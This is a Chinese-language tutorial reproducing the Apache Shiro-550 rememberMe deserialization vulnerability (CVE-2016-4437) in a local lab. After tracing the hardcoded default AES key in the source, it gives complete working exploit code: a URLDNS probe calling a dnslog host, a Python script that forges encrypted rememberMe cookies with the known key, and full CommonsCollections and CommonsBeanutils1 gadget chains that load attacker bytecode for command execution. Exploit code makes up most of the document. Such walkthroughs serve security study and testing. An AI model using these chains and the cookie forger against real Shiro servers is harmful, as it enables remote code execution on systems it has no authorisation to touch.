Shiro反序列化漏洞——Shiro550 前言 Shiro-550反序列化漏洞(CVE-2016-4437) 漏洞简介 shiro-550主要是由shiro的rememberMe内容反序列化导致的命令执行漏洞 ,造成的原因是默认加密密钥是硬编码在shiro源码中,任何有权访问源代码的人都可以知道默认加密密钥。 于是攻击者可以创建一个恶意对象,对其进行序列化、编码,然后将其作为cookie的rememberMe字段内容发送,Shiro 将对其解码和反序列化,导致服务器运行一些恶意代码。
环境搭建 先下载shriro 1.2.4
解压到文件夹,并打开shiro-shiro-root-1.2.4/pom.xml文件,并把jstl依赖版本改为1.2
然后使用IDEA打开Maven项目,位置选择我们刚才解压的文件夹,最后点击确认
然后IDAE会自动下载依赖项,需要等待一段时间
Tomcat官网下载后解压
编辑下运行配置,设置为Tomcat本地服务器运行,然后JRE选择我们Java8版本的
然后点击部署,工件选择samples-web:war
直接右键Run
出现报错java: 错误: 不支持发行版本 6
定位到jdk版本
我是将这里改成了1.7
这里每一个都点进去,Language leve改为8
但编译依旧会报java: Compilation failed: internal java compiler error,说是版本冲突
我们只需要学习shiro反序列化即可,那么其它的部分不必管
mvn clean install -Dmaven.test.skip=true -pl "!support/aspectj,!samples/aspectj,!samples/spring-client"
构建完后,启动你的 Shiro550 复现环境
cd samples/web mvn jetty:run
输出这样即为启动成功
红框部分为端口号,这里8080被占用,所以Jetty 自动切换到了下一个可用端口
漏洞判断 登录抓包
可以看到返回了一长串Cookie,这里应该是进行了一些加密处理
漏洞分析 我们打开IDEA进行分析,按两下SHIFT,看哪个包和Cookie有关
这个就是处理RememberMe cookie的,然后分析一下里面的关键函数getRememberedSerializedIdentity
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 protected byte [] getRememberedSerializedIdentity(SubjectContext subjectContext) { if (!WebUtils.isHttp(subjectContext)) { if (log.isDebugEnabled()) { String msg = "SubjectContext argument is not an HTTP-aware instance. This is required to obtain a " + "servlet request and response in order to retrieve the rememberMe cookie. Returning " + "immediately and ignoring rememberMe operation." ; log.debug(msg); } return null ; } WebSubjectContext wsc = (WebSubjectContext) subjectContext; if (isIdentityRemoved(wsc)) { return null ; } HttpServletRequest request = WebUtils.getHttpRequest(wsc); HttpServletResponse response = WebUtils.getHttpResponse(wsc); String base64 = getCookie().readValue(request, response); if (Cookie.DELETED_COOKIE_VALUE.equals(base64)) return null ; if (base64 != null ) { base64 = ensurePadding(base64); if (log.isTraceEnabled()) { log.trace("Acquired Base64 encoded identity [" + base64 + "]" ); } byte [] decoded = Base64.decode(base64); if (log.isTraceEnabled()) { log.trace("Base64 decoded byte array length: " + (decoded != null ? decoded.length : 0 ) + " bytes." ); } return decoded; } else { return null ; } }
获取cookie,然后base64解码
之后找一下哪里调用了这个函数
这里获取到之后进入了这个认证函数
1 2 3 4 5 6 protected PrincipalCollection convertBytesToPrincipals (byte [] bytes, SubjectContext subjectContext) { if (getCipherService() != null ) { bytes = decrypt(bytes); } return deserialize(bytes); }
这个函数做了两个事情,第一步是解密,第二步是反序列化
看一下解密的函数
1 2 3 4 5 6 7 8 9 protected byte [] decrypt(byte [] encrypted) { byte [] serialized = encrypted; CipherService cipherService = getCipherService(); if (cipherService != null ) { ByteSource byteSource = cipherService.decrypt(encrypted, getDecryptionCipherKey()); serialized = byteSource.getBytes(); } return serialized; }
1 ByteSource decrypt (byte [] encrypted, byte [] decryptionKey) throws CryptoException;
这是一个接口,看一下里面的参数,第一个是加密的字段,第二个是key,应该是对称加密,用key去解密的,那么可以重点去想一下key是什么
如果知道key是什么就可以重新去构造这个包
这个key是通过函数获取的,看一下我们能不能自己获取,跟进getDecryptionCipherKey
1 2 3 public byte [] getDecryptionCipherKey() { return decryptionCipherKey; }
跟进decryptionCipherKey
1 private byte [] decryptionCipherKey;
发现是一个常量,看一下是在哪赋值的
主要看Value write的地方,在哪写它的
找到setCipherKey
1 2 3 4 5 6 public void setCipherKey (byte [] cipherKey) { setEncryptionCipherKey(cipherKey); setDecryptionCipherKey(cipherKey); }
找一下是哪里调用的它
跟进DEFAULT_CIPHER_KEY_BYTES,发现是一个固定的值
1 private static final byte [] DEFAULT_CIPHER_KEY_BYTES = Base64.decode("kPH+bIxk5D2deZiIxcaaaA==" );
也就是说在shiro1.2.4跟rememberme相关的用的都是这个固定的key去加密
加密算法就是AES算法
所以说构造一个序列化的payload,把它用AES的key加密,再把它base64,之后想办法把它走到正常流程里面
那么接下来看一下怎么构造payload
这里就先分析一下最普通的URLDNS链来验证一下这个漏洞
URLDNS链利用 dnslog获取一个SubDomain,然后根据之前学的写一个URLDNS的利用链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.apache.shiro.web.example;import java.io.*;import java.lang.reflect.Field;import java.net.URL;import java.util.HashMap;public class URLDNS { public static void main (String[] args) throws Exception{ HashMap<URL,Integer> hashMap = new HashMap <URL, Integer>(); URL url = new URL ("http://97w98w.dnslog.cn" ); Class c = url.getClass(); Field hashcodefield = c.getDeclaredField("hashCode" ); hashcodefield.setAccessible(true ); hashcodefield.set(url,1111 ); hashMap.put(url,1 ); hashcodefield.set(url,-1 ); serialize(hashMap); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } }
执行一下,将生成的ser.bin文件copy到和exp.py文件同一目录下
exp.py文件就是AES加密然后base64
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 from Crypto.Cipher import AESimport uuidimport base64 def convert_bin (file ): with open (file,'rb' ) as f: return f.read() def AES_enc (data ): BS=AES.block_size pad=lambda s:s+((BS-len (s)%BS)*chr (BS-len (s)%BS)).encode() key="kPH+bIxk5D2deZiIxcaaaA==" mode=AES.MODE_CBC iv=uuid.uuid4().bytes encryptor=AES.new(base64.b64decode(key),mode,iv) ciphertext=base64.b64encode(iv+encryptor.encrypt(pad(data))).decode() return ciphertext if __name__=="__main__" : data=convert_bin("ser.bin" ) print (AES_enc(data))
运行一下生成一串字符,直接替换到
反序列化调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 package ysoserial.test;import java.io.FileInputStream;import java.io.IOException;import java.io.ObjectInputStream;public class UnserializeTest { public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } public static void main (String[] args) throws Exception { unserialize("ser.bin" ); } }
发现并没有成功
这里因为SESSIONID字段,Shiro 会优先使用已有的 sessionId,当 sessionId 有效时,不会重新生成 RememberMe Cookie
所以要把这一部分删除,通过返回字段长度说明利用成功
利用CC2+CC3+CC6攻击 环境 在pom.xml中添加
1 2 3 4 5 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency >
分析 先准备一个CC6的链
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package org.example;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Method;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1Test { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , null }), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer (transformers); chainedTransformer.transform(Runtime.class); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,chainedTransformer); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor annotationInvocationHandlerConstruction = c.getDeclaredConstructor(Class.class,Map.class); annotationInvocationHandlerConstruction.setAccessible(true ); InvocationHandler h = (InvocationHandler) annotationInvocationHandlerConstruction.newInstance(Override.class,lazyMap); Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class []{Map.class}, h); Object o = annotationInvocationHandlerConstruction.newInstance(Override.class, mapProxy); serialize(o); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
将运行生成的ser.bin复制到与exp.py同一目录下
运行一下,将生成的加密cookie替换到
发现如下报错
Unable to load clazz named [[Lorg.apache.commons.collections.Transformer;] from class loader [ParallelWebappClassLoader
加载不到Transformer类
我们可以跟到它触发反序列化的地方看一下
这里可以看到并不是用的原生的readObject,而是用的shiro自定义的ClassResolvingObjectInputStream
跟进看一下发现重写了resolveClass方法
1 2 3 4 5 6 7 8 @Override protected Class<?> resolveClass(ObjectStreamClass osc) throws IOException, ClassNotFoundException { try { return ClassUtils.forName(osc.getName()); } catch (UnknownClassException e) { throw new ClassNotFoundException ("Unable to load ObjectStreamClass [" + osc + "]: " , e); } }
可以对比一下原生的resolveClass
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 protected Class<?> resolveClass(ObjectStreamClass desc) throws IOException, ClassNotFoundException { String name = desc.getName(); try { return Class.forName(name, false , latestUserDefinedLoader()); } catch (ClassNotFoundException ex) { Class<?> cl = primClasses.get(name); if (cl != null ) { return cl; } else { throw ex; } } }
原生的是直接调用forName,而shiro框架下的是调用ClassUtils里的forName
跟进ClassUtils
这里面的forName方法调用三次forname
ClassUtils.forName不支持传入数组
是 因为shiro 加载 Class 最终调用的是 Tomcat 下的 webappclassloader,该类会使用 Class.forName() 加载数组类,但是使用的 classloader 是 URLClassLoader,只会加载 tomcat/bin、tomcat/lib、jre/lib/ext 下面的类数组,无法加载三方依赖 jar 包。
如果反序列化流中包含非 Java 自身的数组,则会出现无法加载类的错误 。因为 CC6 用到了 Transformer 数组,因此没法正常反序列化。
回顾一下所有CC链
那么我们这里可以用CC3的后半段,然后new一个InvokerTransformer,前面和CC6的一样
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package org.apache.shiro.web.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class ShiroCC { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" ,null ,null ); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry triedMapEntry = new TiedMapEntry (lazyMap, "aaa" ); HashMap<Object, Object> map2 = new HashMap <>(); map2.put(triedMapEntry,"bbb" ); lazyMap.remove("aaa" ); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,invokerTransformer); serialize(map2); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
需要做一点小小改动
将TiedMapEntry传入的第二个参数改为templates
也就是说:
TiedMapEntry 的 “key” = 你的 templates LazyMap 的工厂 = InvokerTransformer(“newTransformer”) 整条链最终会做的事情是:
templates.newTransformer()
正好触发 CC3 的恶意字节码加载。
EXP 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 package org.apache.shiro.web.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.Map;public class ShiroCC { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); InvokerTransformer invokerTransformer = new InvokerTransformer ("newTransformer" ,null ,null ); HashMap<Object, Object> map = new HashMap <>(); Map<Object,Object> lazyMap = LazyMap.decorate(map,new ConstantTransformer (1 )); TiedMapEntry triedMapEntry = new TiedMapEntry (lazyMap, templates); HashMap<Object, Object> map2 = new HashMap <>(); map2.put(triedMapEntry,"bbb" ); lazyMap.remove(templates); Class c = LazyMap.class; Field factoryField = c.getDeclaredField("factory" ); factoryField.setAccessible(true ); factoryField.set(lazyMap,invokerTransformer); serialize(map2); unserialize("ser.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
验证 序列化一下将生成的ser.bin与exp.py放在一起运行exp.py将生成的放到rememberMe重传
成功执行
CommonsBeanutils1 背景 shiro默认的包里面其实并没有自带的commons-collections,所以刚刚是我们自己加到pom.xml,现在我们把它删掉,打它自己本身带的依赖CommonsBeanutils
Apache Commons Beanutils 是 Apache Commons 工具集下的另一个项目,它提供了对普通 Java 类对象(也称为 JavaBean )的一些操作方法。
创建一个JavaBean格式的Person类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 package org.apache.shiro.web.example;public class Person { private String name; private int age; public Person (String name, int age) { this .name = name; this .age = age; } public String getName () { return name; } public void setName (String name) { this .name = name; } public int getAge () { return age; } public void setAge (int age) { this .age = age; } }
commons-beanutils 中提供了一个静态方法 PropertyUtils.getProperty ,让使用者可以直接调用任意 JavaBean 的 getter方法
1 2 3 4 5 6 7 8 9 10 package org.apache.shiro.web.example;import org.apache.commons.beanutils.PropertyUtils;public class BeanTest { public static void main (String[] args) throws Exception{ Person person = new Person ("aaa" ,20 ); System.out.println(PropertyUtils.getProperty(person,"name" )); } }
分析 在之前分析CC3那条链的时候当时说到TemplatesImpl这个类,这个类的newTransformer是一个初始化的过程,可以进行一个命令执行
所以这个getOutputProperties也是一个可以命令执行的点,而它恰好符合JavaBean的格式,也就是get开头+一个属性名
那么我们就可以试一下PropertyUtils.getProperty(templates,"outputProperties");
这里要注意outProperties开头应小写,因为JavaBean的格式,它在找方法的时候会将第一位转为大写
然后我们把CC3的部分copy过来
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 package org.apache.shiro.web.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.PropertyUtils;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;public class BeanTest { public static void main (String[] args) throws Exception{ Person person = new Person ("aaa" ,20 ); TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); Field tfactory = tc.getDeclaredField("_tfactory" ); tfactory.setAccessible(true ); tfactory.set(templates,new TransformerFactoryImpl ()); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); PropertyUtils.getProperty(templates,"outputProperties" ); } }
成功执行
所以我们要是可以控制PropertyUtils.getProperty就可以任意执行代码
我们要找哪里可以调用getProperty(这里不要忘记把CB包的源码download一下,不然find不到)
锁定在了这四个
首先看BeanToPropertyValueTransformer,这个类没有继承serialize接口所以用不了
evaluate最后找完也没有
再看compare
这个属性我们是可以控制的,而且之前CC2的时候也用过compare
所以我们现在就相当于把这个链串起来了
EXP 先写一个
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 package org.apache.shiro.web.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class ShiroCB { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); BeanComparator beanComparator = new BeanComparator ("outputProperties" ); PriorityQueue priorityQueue = new PriorityQueue <>(beanComparator); priorityQueue.add(templates); priorityQueue.add(2 ); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
执行报错
1 2 3 4 5 6 7 Exception in thread "main" java.lang.RuntimeException: NoSuchMethodException: java.lang.NoSuchMethodException: Unknown property 'outputProperties' on class 'class java.lang.Integer' at org.apache.commons.beanutils.BeanComparator.compare(BeanComparator.java:168 ) at java.util.PriorityQueue.siftUpUsingComparator(PriorityQueue.java:669 ) at java.util.PriorityQueue.siftUp(PriorityQueue.java:645 ) at java.util.PriorityQueue.offer(PriorityQueue.java:344 ) at java.util.PriorityQueue.add(PriorityQueue.java:321 ) at org.apache.shiro.web.example.ShiroCB.main(ShiroCB.java:37 )
是Integer找不到outputProperties这个属性
所以我们尝试最后反射再把priorityQueue值该过来
1 2 3 4 Class<PriorityQueue> c = PriorityQueue.class;Field comparator = c.getDeclaredField("comparator" ); comparator.setAccessible(true ); comparator.set(priorityQueue,beanComparator);
执行一下依旧报错
那么我们就模仿一下CC2当时的处理方法
1 2 TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 ));PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);
完整EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 package org.apache.shiro.web.example;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;import org.apache.commons.beanutils.BeanComparator;import org.apache.commons.collections.comparators.TransformingComparator;import org.apache.commons.collections.functors.ConstantTransformer;import java.io.*;import java.lang.reflect.Field;import java.lang.reflect.Method;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class ShiroCB { public static void main (String[] args) throws Exception{ TemplatesImpl templates = new TemplatesImpl (); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name" ); nameFiled.setAccessible(true ); nameFiled.set(templates,"aaaa" ); Field bytecodes = tc.getDeclaredField("_bytecodes" ); bytecodes.setAccessible(true ); byte [] evil = Files.readAllBytes(Paths.get("D://tmp/class/Test.class" )); byte [][] codes = {evil}; bytecodes.set(templates,codes); BeanComparator beanComparator = new BeanComparator ("outputProperties" ); TransformingComparator transformingComparator = new TransformingComparator (new ConstantTransformer (1 )); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2 ); Class<PriorityQueue> c = PriorityQueue.class; Field comparator = c.getDeclaredField("comparator" ); comparator.setAccessible(true ); comparator.set(priorityQueue,beanComparator); serialize(priorityQueue); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("ser.bin" )); oos.writeObject(obj); oos.close(); } public static Object unserialize (String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream (new FileInputStream (filename)); Object obj = ois.readObject(); return obj; } }
验证 将生成的ser.bin与exp.py放到同一目录下,运行exp.py
再说一下利用ysoserial 的CB1链时的报错问题,提示 serialVersionUID 不一致
出现错误的原因就是,本地使用的 commons-beanutils 是 1.9.2 版本,而 Shiro 中自带的 commons-beanutils 是 1.8.3 版本,出现了 serialVersionUID 对应不上的问题。
所以以后在利用现成的集合工具时一定要注意版本问题